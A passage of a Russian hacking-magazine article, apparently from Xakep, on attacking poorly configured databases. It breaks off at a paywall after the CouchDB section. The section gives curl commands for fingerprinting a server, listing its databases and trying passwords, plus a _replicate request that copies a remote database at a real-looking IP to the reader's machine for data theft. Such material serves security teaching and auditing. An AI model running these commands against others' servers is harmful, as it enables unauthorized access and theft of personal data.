Содержание статьи
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Неправомерный доступ к компьютерной информации преследуется по закону.
Прежде чем приступать к атакам, предлагаю разобраться, почему они вообще возможны и почему жизнь по‑прежнему ничему не учит админов и прочих причастных к защите БД.
- Порог вхождения в применение современных БД, как и в IT в целом, снижается. Начинающему эникейщику все проще попасть на администрирование сервиса, требующего тщательной и внимательной настройки, да и элементарных знаний о конкретном продукте. К счастью таких «инженеров», но к сожалению владельцев утекших данных, многие сетевые сервисы (например, базы данных) можно развернуть «в один клик». При этом совершенно не требуется понимать механизм работы и возможные угрозы развертываемым сервисам. И хорошо, если свежеустановленная база данных настраивалась хотя бы по инструкции с первой страницы поисковика. А если нет?
- Частенько авторизацию отключают по соображениям «удобства» работы с данными. В итоге наружу торчит порт, а нередко и интерфейс СУБД, с которым можно делать что угодно. Приходи — бери что хочешь…
- Начальство требует сделать все максимально дешево, так как денег мало и тратить их на достойного спеца не хочется. Вот и просят дизайнера Ваську накатить и настроить БД для компании за чашку кофе. Какая уж тут безопасность — хорошо, если хоть пароль поставит.
Таким образом, одной из основных причин утечки данных служит криворукость администраторов небезопасная конфигурация СУБД, оставленная в результате невнимательности или же просто недостатка знаний.
www
Пугающие масштабы криворукости админов и примеры утечек из‑за этого можно увидеть на канале «Утечки информации», да и в «Хакере» мы о них регулярно пишем.
Самые интересные СУБД
СУБД — это система управления базами данных, которая обеспечивает механизм хранения и поиска этих самых данных. В дальнейшем я буду часто использовать это сокращение.
CouchDB
CouchDB — это база данных с открытым исходным кодом, разработанная программным фондом Apache. Классическая NoSQL-база. Написана на языке Erlang.
Больше всего нас интересуют способы подключения:
- порт HTTP API (по умолчанию — 5984);
- веб‑интерфейс Futon.
Доступ к БД реализован по протоколу HTTP с использованием JSON API, что позволяет обращаться к данным в том числе из выполняемых в браузере веб‑приложений. Имеет свой собственный графический веб‑интерфейс (Futon).
Мы же воспользуемся обычным curl
. Вот, к примеру, запрос приветствия:
curl http://127.0.0.1:5984/
Ответ расскажет нам о номере версии, имени поставщика и версии программного обеспечения:
{ "couchdb":"Welcome","version":"2.3.1", "git_sha":"c298091a4", "uuid":"777dc19849f3ff0392ba09dec1a62fa7", "features":["pluggable-storage-engines","scheduler"], "vendor":{"name":"The Apache Software Foundation"}}
Чтобы получить список всех БД на сервере, можно выполнить такой запрос:
curl http://127.0.0.1:5984/_all_dbs
В ответ мы увидим
[ "_replicator", "_users", "mychannel_", "mychannel_kizuna-chaincode", "mychannel_lscc", "mychannel_user"]
Здесь _replicator
и _users
— это стандартные БД.
В ответ также можно получить такую ошибку:
{ "error":"unauthorized", "reason":"You are not a server admin."}
Смело идем мимо, здесь ловить нечего. Уровень анонимного доступа настроен так, что мы не можем даже увидеть список БД на сервере, не то что к ним подключиться. Но можно попробовать наудачу подобрать пароль. Запрос на авторизацию выглядит следующим образом:
curl -X PUT http://localhost:5984/test -u "login:password"
Чтобы подключиться к графическому интерфейсу, нет необходимости ставить какое‑либо ПО, достаточно просто в браузере перейти по такому адресу:
http://127.0.0.1:5984/_utils/
Чтобы унести данные, можно воспользоваться следующим запросом:
curl -X POST -d '{"source":"http://54.161.77.240:5984/klaspadchannel_","target":"http://localhost:5984/klaspadchannel_"}' http://localhost:5984/_replicate -H "Content-Type: application/json"
Конечно же, потребуется поднять сервер CouchDB на локальной машине. Впрочем, было бы странно, если бы его у тебя не было, раз уж ты собрался работать с этой базой.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»